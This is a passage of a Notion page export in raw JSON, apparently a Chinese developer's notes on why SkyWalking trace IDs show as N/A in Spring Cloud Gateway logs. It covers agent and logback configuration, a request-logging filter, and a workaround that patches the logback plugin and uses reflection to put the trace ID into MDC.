"],["https://dlcdn.apache.org/skywalking/java-agent/9.0.0/apache-skywalking-java-agent-9.0.0.tgz",[["a","https://dlcdn.apache.org/skywalking/java-agent/9.0.0/apache-skywalking-java-agent-9.0.0.tgz"]]]],"language":[["Bash"]]},"created_time":1705768489471,"last_edited_time":1705772352936,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9fc64fb0-a43a-4bdf-b9dd-61425023bb8c":{"value":{"id":"9fc64fb0-a43a-4bdf-b9dd-61425023bb8c","type":"sub_header","properties":{"title":[["agent目录配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705772366424,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"a13d2aa7-aebc-496f-9cc5-a4265f2ca292":{"value":{"id":"a13d2aa7-aebc-496f-9cc5-a4265f2ca292","type":"code","properties":{"title":[["#进入skywalking-agent目录\ncd skywalking-agent\n\n#拷贝optional-plugins里面的必要插件到activations\napm-toolkit-logback-1.x-activation-9.0.0.jar\napm-toolkit-logging-common-9.0.0.jar\napm-toolkit-trace-activation-9.0.0.jar\napm-toolkit-webflux-activation-9.0.0.jar"]],"language":[["Bash"]]},"created_time":1705772472190,"last_edited_time":1705775707518,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e043a384-8bde-4de7-9a50-37602c2ed361":{"value":{"id":"e043a384-8bde-4de7-9a50-37602c2ed361","type":"sub_header","properties":{"title":[["maven依赖"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705775991661,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"7ff97387-22a0-429c-9c2c-4128b82bc66f":{"value":{"id":"7ff97387-22a0-429c-9c2c-4128b82bc66f","type":"code","properties":{"title":[["\n org.apache.skywalking\n apm-toolkit-trace\n 9.0.0\n\n\n org.apache.skywalking\n apm-toolkit-logback-1.x\n 9.0.0\n"]],"language":[["XML"]]},"created_time":1705775873958,"last_edited_time":1705775884073,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c4c8d23c-69ee-490b-9a74-0eeb131c14fb":{"value":{"id":"c4c8d23c-69ee-490b-9a74-0eeb131c14fb","type":"sub_header","properties":{"title":[["项目运行配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705775701945,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"66f7b00c-2f1b-42a0-af57-1ff1d633f955":{"value":{"id":"66f7b00c-2f1b-42a0-af57-1ff1d633f955","type":"text","properties":{"title":[["gateway和user模块都配上一下参数,注意SW_AGENT_NAME要变一下"]]},"created_time":1705769072350,"last_edited_time":1705769198271,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"3a2d209a-d79f-4540-828d-773a22eae9b4":{"value":{"id":"3a2d209a-d79f-4540-828d-773a22eae9b4","type":"code","properties":{"title":[["#vm\n-javaagent:/Users/y/Documents/development/skywalking-agent/skywalking-agent.jar\n#env\nMYSQL_HOST=127.0.0.1;SW_AGENT_NAME=gw;SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800;SW_AGENT_SPAN_LIMIT=2000"]],"language":[["Bash"]]},"created_time":1705769173537,"last_edited_time":1705769218262,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"1a36dd47-5252-42f6-ade2-80ed742fb9f4":{"value":{"id":"1a36dd47-5252-42f6-ade2-80ed742fb9f4","type":"image","properties":{"size":[["94.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8cbe5b42-7099-4ebd-bf21-ca0240e5932e/Untitled.png"]]},"format":{"block_width":985,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8cbe5b42-7099-4ebd-bf21-ca0240e5932e/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5370558375634518,"block_preserve_scale":true},"created_time":1705769167672,"last_edited_time":1705769170915,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["8cbe5b42-7099-4ebd-bf21-ca0240e5932e"]}},"4caba176-ac58-4988-b755-471afac1a52d":{"value":{"id":"4caba176-ac58-4988-b755-471afac1a52d","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769790717,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"b4ef4f0c-8378-421c-a55f-90c3a012fe29":{"value":{"id":"b4ef4f0c-8378-421c-a55f-90c3a012fe29","type":"sub_header","properties":{"title":[["logback配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769828763,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"1c9a8144-f42c-4114-b5cc-a451b261c4a4":{"value":{"id":"1c9a8144-f42c-4114-b5cc-a451b261c4a4","type":"code","properties":{"title":[["\n\n\n\t\n\t\n\t\n \n\t\n\t\n\t\n\n\t\n\t\t\n\t\t\t \n\t\t\t\t${CONSOLE_LOG_PATTERN}\n\t\t\t\n\t\t\n\t\n\n\t\n\t\t\n\t\n\n"]],"language":[["XML"]]},"created_time":1705769832905,"last_edited_time":1705769898053,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0166e46c-5c22-4924-85c8-358ee4206ae2":{"value":{"id":"0166e46c-5c22-4924-85c8-358ee4206ae2","type":"sub_header","properties":{"title":[["gateway模块请求日志打印代码"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771680742,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"c8b1acfb-2578-4b1d-83ee-6f622e1bd843":{"value":{"id":"c8b1acfb-2578-4b1d-83ee-6f622e1bd843","type":"text","properties":{"title":[["就是打印四条信息:请求开始,请求头,请求结束信息,请求结束返回"]]},"created_time":1705771698743,"last_edited_time":1705771734622,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"14af7bb3-3a67-4f83-8626-f377c1c56369":{"value":{"id":"14af7bb3-3a67-4f83-8626-f377c1c56369","type":"code","properties":{"title":[["@Slf4j\n@Component\npublic class ApiLogFilter implements GlobalFilter, Ordered {\n\n private static final String START_TIME = \"startTime\";\n\n private static final String X_REAL_IP = \"X-Real-IP\";\n\n private final DataBuffer emptyBuffer = new NettyDataBufferFactory(ByteBufAllocator.DEFAULT).allocateBuffer(0);\n\n @Override\n public Mono filter(ServerWebExchange exchange, GatewayFilterChain chain) {\n\n //请求的基本信息\n List ips = exchange.getRequest().getHeaders().get(X_REAL_IP);\n String ip = ips != null ? ips.get(0) : null;\n String method = exchange.getRequest().getMethodValue();\n String path = exchange.getRequest().getURI().getPath();\n\n exchange.getAttributes().put(START_TIME, System.currentTimeMillis());\n ServerHttpRequest request = exchange.getRequest();\n\n if (path.contains(\"api-docs\")) {\n log.warn(\"{}正在请求接口文档{}\", ip, path);\n return chain.filter(exchange.mutate().request(request).build());\n }\n\n //打印请求开始日志\n log.info(\"请求开始:\\n\\n方法:{}\\nHost:{}\\nip:{}\\n请求接口:{}\\n\", method, exchange.getRequest().getURI().getHost(), ip,\n path);\n\n //打印header头\n log.info(\"请求头:\\n\\n{}\\n\", JSONUtil.toJsonStr(exchange.getRequest().getHeaders()));\n\n //包装response,在任意地方返回打印结束信息等\n ServerHttpResponse originalResponse = exchange.getResponse();\n DataBufferFactory bufferFactory = originalResponse.bufferFactory();\n ServerHttpResponseDecorator decoratedResponse = new ServerHttpResponseDecorator(originalResponse) {\n @Override\n @NotNull\n public Mono writeWith(@NotNull Publisher body) {\n Long startTime = exchange.getAttribute(START_TIME);\n if (startTime != null) {\n Long executeTime = (System.currentTimeMillis() - startTime);\n int code = 500;\n if (exchange.getResponse().getStatusCode() != null) {\n code = exchange.getResponse().getStatusCode().value();\n }\n log.info(\"请求结束信息:\\n\\n响应状态码:{}\\n请求耗时:{}ms\\n\", code, executeTime);\n }\n\n if (body instanceof Flux) {\n Flux fluxBody = Flux.from(body);\n return super.writeWith(fluxBody.map(dataBuffer -> {\n byte[] content = new byte[dataBuffer.readableByteCount()];\n dataBuffer.read(content);\n DataBufferUtils.release(dataBuffer);\n String data = new String(content, StandardCharsets.UTF_8);//data\n log.info(\"请求结束返回: \\n\\n{}\\n\", data);\n return bufferFactory.wrap(content);\n }));\n } else {\n log.error(\"<--- {} 响应code异常\", getStatusCode());\n }\n MDC.clear();\n return super.writeWith(body);\n }\n };\n //打印请求参数\n MultiValueMap queryParams = request.getQueryParams();\n if (!queryParams.isEmpty()) {\n log.info(\"请求参数(url):\\n\\n{}\\n\", queryParams);\n }\n\n if (HttpMethod.POST.name().equals(method)) {\n return DataBufferUtils.join(request.getBody()).defaultIfEmpty(emptyBuffer).flatMap(dataBuffer -> {\n byte[] bytes = new byte[dataBuffer.readableByteCount()];\n if (PrimitiveArrayUtil.isNotEmpty(bytes)) {\n dataBuffer.read(bytes);\n String bodyString = new String(bytes, StandardCharsets.UTF_8);\n try {\n bodyString = UriUtils.decode(bodyString, \"UTF-8\");\n } catch (Exception e) {\n log.error(\"请求参数编码错误有特殊符号\", e);\n }\n log.info(\"请求参数(form):\\n\\n{}\\n\", bodyString);\n exchange.getAttributes().put(\"POST_BODY\", bodyString);\n DataBufferUtils.release(dataBuffer);\n Flux cachedFlux = Flux.defer(() -> {\n DataBuffer buffer = exchange.getResponse().bufferFactory().wrap(bytes);\n return Mono.just(buffer);\n });\n ServerHttpRequest mutatedRequest = new ServerHttpRequestDecorator(request) {\n @Override\n public Flux getBody() {\n return cachedFlux;\n }\n };\n return chain.filter(exchange.mutate().request(mutatedRequest).response(decoratedResponse).build());\n } else {\n return chain.filter(exchange.mutate().request(request).response(decoratedResponse).build());\n }\n });\n }\n return chain.filter(exchange.mutate().request(request).response(decoratedResponse).build());\n }\n\n @Override\n public int getOrder() {\n return Ordered.HIGHEST_PRECEDENCE;\n }\n\n}"]],"language":[["Java"]]},"created_time":1705771640301,"last_edited_time":1705771680742,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"4fdd346f-ce99-49d6-a7c7-728734284e76":{"value":{"id":"4fdd346f-ce99-49d6-a7c7-728734284e76","type":"sub_header","properties":{"title":[["user模块测试代码"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771687367,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d":{"value":{"id":"ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d","type":"code","properties":{"title":[["\n@Slf4j\n@RestController\n@AllArgsConstructor\n@Tag(name = \"Test-测试通用\")\n@RequestMapping(\"/user/xxx/test\")\npublic class TestController {\n\n @NoLoginRequired\n @Operation(summary = \"testSkywalking\")\n @GetMapping(value = \"/testSkywalking\")\n public R testSkywalking() {\n\n log.info(\"user-testSkywalking\");\n\n return R.ok();\n\n }\n}\n "]],"language":[["Java"]]},"created_time":1705771793829,"last_edited_time":1705771867301,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c6104167-a456-4af4-b62a-d87bd0dc5b7f":{"value":{"id":"c6104167-a456-4af4-b62a-d87bd0dc5b7f","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769231709,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"733c637e-92ba-4889-87a7-f84308daeb66":{"value":{"id":"733c637e-92ba-4889-87a7-f84308daeb66","type":"sub_header","properties":{"title":[["访问测试"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771870844,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"f698fa80-fe58-4bec-a2aa-0afc33e8ffc7":{"value":{"id":"f698fa80-fe58-4bec-a2aa-0afc33e8ffc7","type":"text","properties":{"title":[["通过网关访问testSkywalking测试结果如下"]]},"created_time":1705771871046,"last_edited_time":1705771894190,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5132098d-d3aa-4e40-ae84-0408e95d1039":{"value":{"id":"5132098d-d3aa-4e40-ae84-0408e95d1039","type":"text","properties":{"title":[["gateway日志"]]},"created_time":1705771894381,"last_edited_time":1705771944386,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"1fc83cb3-1d07-43aa-bdea-0b706377887c":{"value":{"id":"1fc83cb3-1d07-43aa-bdea-0b706377887c","type":"code","properties":{"title":[["[TID:N/A] [reactor-http-nio-4] ApiLogFilter:77 - 请求开始:\n\n方法:GET\nHost:localhost\nip:null\n请求接口:/user/xxx/test/testSkywalking\n\n[TID:N/A] [reactor-http-nio-4] com.tommi.pet.gateway.filter.ApiLogFilter:81 - 请求头:\n\n{\"Host\":[\"localhost:9999\"]}\n\n[TID:N/A] [reactor-http-nio-6] com.tommi.pet.gateway.filter.ApiLogFilter:101 - 请求结束信息:\n\n响应状态码:200\n请求耗时:1062ms\n\n[TID:N/A] [reactor-http-nio-6] com.tommi.pet.gateway.filter.ApiLogFilter:111 - 请求结束返回: \n\n{\"code\":0,\"message\":null,\"data\":\"1\",\"success\":true,\"timestamp\":1}"]],"language":[["Java"]]},"created_time":1705771950596,"last_edited_time":1705772143638,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"7bba3470-42ba-431c-9d63-49968c4ac543":{"value":{"id":"7bba3470-42ba-431c-9d63-49968c4ac543","type":"text","properties":{"title":[["user日志"]]},"created_time":1705771944641,"last_edited_time":1705771946746,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c419ccc0-1429-4f18-af45-d9833e0282eb":{"value":{"id":"c419ccc0-1429-4f18-af45-d9833e0282eb","type":"code","properties":{"title":[["[TID:xx.17057720223290001] [XNIO-1 task-1] TestController:54 - user-testSkywalking"]],"language":[["Java"]]},"created_time":1705771964329,"last_edited_time":1705772164352,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"91afc304-892f-42d3-bbcc-bb59e4fdd8d8":{"value":{"id":"91afc304-892f-42d3-bbcc-bb59e4fdd8d8","type":"quote","properties":{"title":[["可以明显看到user模块的tid是正常输出的,可是gateway的日志死活都是N/A"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705772250930,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"d9b07a77-5441-4573-8a13-db4be5c3ea3b":{"value":{"id":"d9b07a77-5441-4573-8a13-db4be5c3ea3b","type":"text","created_time":1705772218229,"last_edited_time":1705772218551,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"97e7928f-be51-43d0-b14d-05127bbeff35":{"value":{"id":"97e7928f-be51-43d0-b14d-05127bbeff35","type":"header","properties":{"title":[["尝试解决"]]},"created_time":1705772218229,"last_edited_time":1705772234403,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e325c70e-f58c-478c-90b8-eccec3b5d808":{"value":{"id":"e325c70e-f58c-478c-90b8-eccec3b5d808","type":"sub_header","properties":{"title":[["分析问题"]]},"created_time":1705772234694,"last_edited_time":1705772262480,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"584a5e58-4911-40f7-b4e8-67a14b578ba7":{"value":{"id":"584a5e58-4911-40f7-b4e8-67a14b578ba7","type":"text","properties":{"title":[["首先去去看看哪里输出的这个追踪码,没有找到9.0.0的源码,只找到8.7.0的源码,先搞下来研究研究:"],["https://github.com/apache/skywalking/blob/v8.7.0/",[["a","https://github.com/apache/skywalking/blob/v8.7.0/apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java"]]],["。然后定位到logback插件,去寻找tid在哪里输出的,最终找到如下:"]]},"created_time":1705772263804,"last_edited_time":1705772745135,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706":{"value":{"id":"4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706","type":"text","properties":{"title":[["apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java"]]},"created_time":1705772745402,"last_edited_time":1705773654817,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0d136c13-f56c-470a-82fd-2edf46b9e1da":{"value":{"id":"0d136c13-f56c-470a-82fd-2edf46b9e1da","type":"code","properties":{"title":[["\npublic class PrintTraceIdInterceptor implements InstanceMethodsAroundInterceptor {\n\n @Override\n public void beforeMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class[] argumentsTypes,\n MethodInterceptResult result) throws Throwable {\n\n }\n\n @Override\n public Object afterMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class[] argumentsTypes,\n Object ret) throws Throwable {\n if (!ContextManager.isActive()) {\n if (allArguments[0] instanceof EnhancedInstance) {\n SkyWalkingContext skyWalkingContext = (SkyWalkingContext) ((EnhancedInstance) allArguments[0]).getSkyWalkingDynamicField();\n if (skyWalkingContext != null) {\n return \"TID:\" + skyWalkingContext.getTraceId();\n }\n }\n }\n return \"TID:\" + ContextManager.getGlobalTraceId();\n }\n\n @Override\n public void handleMethodException(EnhancedInstance objInst, Method method, Object[] allArguments,\n Class[] argumentsTypes, Throwable t) {\n\n }\n}"]],"language":[["Java"]]},"created_time":1705772766956,"last_edited_time":1705772779000,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"66932228-ed81-493f-ad40-f0cfa8a859d9":{"value":{"id":"66932228-ed81-493f-ad40-f0cfa8a859d9","type":"text","properties":{"title":[["观察代码无非就是skyWalkingContext.getTraceId()和ContextManager.xx输出的N/A。"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774181223,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"30bbe270-0897-4876-b780-500241acd206":{"value":{"id":"30bbe270-0897-4876-b780-500241acd206","type":"text","properties":{"title":[["Reator模式又有点陌生,无从下手。无意间从另外一篇博客中发现,其实exchange中是有这个tid的"]]},"created_time":1705772865632,"last_edited_time":1705773455696,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"a70ffef7-587f-481e-b2ef-c8635aa19049":{"value":{"id":"a70ffef7-587f-481e-b2ef-c8635aa19049","type":"image","properties":{"size":[["130.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/df0f3803-b946-4f27-8edd-749909bb63b2/Untitled.png"]]},"format":{"block_width":1408,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/df0f3803-b946-4f27-8edd-749909bb63b2/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5085227272727273,"block_preserve_scale":true},"created_time":1705773457212,"last_edited_time":1705773460698,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["df0f3803-b946-4f27-8edd-749909bb63b2"]}},"754bfdec-4110-434d-855b-a46fd419c980":{"value":{"id":"754bfdec-4110-434d-855b-a46fd419c980","type":"sub_header","properties":{"title":[["曲线救国"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705773519140,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"4efa436d-f550-4eda-ac48-8e6d733d8753":{"value":{"id":"4efa436d-f550-4eda-ac48-8e6d733d8753","type":"text","properties":{"title":[["gateway也就拦截器打印点日志,要不然就是exceptionHandler中打印。我要不然直接把这个值传给skywalking-logback插件就完了嘛。拿什么传呢,对的,使用MDC来传,同一个线程都可以传,并且改动最小。直接修改插件中PrintTraceIdInterceptor的源码如下,然后直接打包这个8.7的skywalking-logback插件替换掉原本apm-toolkit-logback-1.x-activation-9.0.0.jar插件(完全可用)"]]},"created_time":1705773519693,"last_edited_time":1705774253575,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0d416ba8-81ec-4468-abaa-3458beed1f20":{"value":{"id":"0d416ba8-81ec-4468-abaa-3458beed1f20","type":"code","properties":{"title":[["@Override\n public Object afterMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class[] argumentsTypes,\n Object ret) throws Throwable {\n\n String result;\n\n if (!ContextManager.isActive()) {\n if (allArguments[0] instanceof EnhancedInstance) {\n SkyWalkingContext skyWalkingContext = (SkyWalkingContext) ((EnhancedInstance) allArguments[0]).getSkyWalkingDynamicField();\n if (skyWalkingContext != null) {\n result = \"TID:\" + skyWalkingContext.getTraceId();\n return result;\n } else {\n String tid = MDC.get(\"tid\");\n if (tid != null) {\n return \"TID:\" + tid;\n }\n }\n }\n }\n return \"TID:\" + ContextManager.getGlobalTraceId();\n }"]],"language":[["Java"]]},"created_time":1705773670104,"last_edited_time":1705773704326,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5df9de5c-e418-4045-ad9b-5003dbc43a99":{"value":{"id":"5df9de5c-e418-4045-ad9b-5003dbc43a99","type":"text","properties":{"title":[["然后再搞一个工具类"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705773795354,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"c9f62dfd-e97e-45d1-afcf-f286342cbce3":{"value":{"id":"c9f62dfd-e97e-45d1-afcf-f286342cbce3","type":"code","properties":{"title":[["\n@Slf4j\npublic class SkywalkingUtil {\n\n /**\n * tid放入MDC\n *\n * @param exchange\n */\n public static void putTidIntoMdc(ServerWebExchange exchange) {\n try {\n Object entrySpanInstance = exchange.getAttributes().get(\"SKYWALKING_SPAN\");\n if (ObjectUtil.isEmpty(entrySpanInstance)) {\n return;\n }\n Class entrySpanClazz = entrySpanInstance.getClass().getSuperclass().getSuperclass();\n Field field = entrySpanClazz.getDeclaredField(\"owner\");\n field.setAccessible(true);\n Object ownerInstance = field.get(entrySpanInstance);\n Class ownerClazz = ownerInstance.getClass();\n Method getTraceId = ownerClazz.getMethod(\"getReadablePrimaryTraceId\");\n String traceId = (String) getTraceId.invoke(ownerInstance);\n MDC.put(\"tid\", traceId);\n } catch (Exception e) {\n log.error(\"gateway追踪码获取失败\", e);\n }\n }\n\n}"]],"language":[["Java"]]},"created_time":1705773802256,"last_edited_time":1705773805881,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"eaafbb80-be83-4ef3-92b1-1df503ffe4f0":{"value":{"id":"eaafbb80-be83-4ef3-92b1-1df503ffe4f0","type":"text","properties":{"title":[["然后在gateway拦截器日志打印的地方加上以下代码,但是请求开始和请求结束是两个不同的线程啊,无法使用MDC来传递,架不住打印日志的地方都使用的一个exchange,当然为了保险你可以在每一个gatway模块的log之前加上以下语句"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774074463,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"e7c407ce-c395-47c7-a594-0955b82cdb60":{"value":{"id":"e7c407ce-c395-47c7-a594-0955b82cdb60","type":"code","properties":{"title":[["\n//打印开始日志的地方\nSkywalkingUtil.putTidIntoMdc(exchange);\n\n......\n\n//打印结束日志的地方\nSkywalkingUtil.putTidIntoMdc(exchange);"]],"language":[["Java"]]},"created_time":1705773848678,"last_edited_time":1705774038441,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"819553b3-aee8-4c8e-ba69-0120fe69cbd4":{"value":{"id":"819553b3-aee8-4c8e-ba69-0120fe69cbd4","type":"sub_header","properties":{"title":[["验证"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774081623,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"2da2c502-dcea-4989-b497-12bc4a5cf52b":{"value":{"id":"2da2c502-dcea-4989-b497-12bc4a5cf52b","type":"text","properties":{"title":[["gateway日志"]]},"created_time":1705774361544,"last_edited_time":1705774361702,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e7cc9331-e6d1-4a9c-b328-cd8b4b87e032":{"value":{"id":"e7cc9331-e6d1-4a9c-b328-cd8b4b87e032","type":"code","properties":{"title":[["[TID:xx.17057741377320011] [reactor-http-nio-2] ApiLogFilter:77 - 请求开始:\n\n方法:GET\nHost:localhost\nip:null\n请求接口:/user/user/pet/test/testSkywalking\n\n[TID:xx.17057741377320011] [reactor-http-nio-2] ApiLogFilter:81 - 请求头:\n\n{\"Host\":[\"localhost:9999\"]}\n\n[TID:xx.17057741377320011] [reactor-http-nio-7] ApiLogFilter:101 - 请求结束信息:\n\n响应状态码:200\n请求耗时:25ms\n\n[TID:xx.17057741377320011] [reactor-http-nio-7] ApiLogFilter:111 - 请求结束返回: 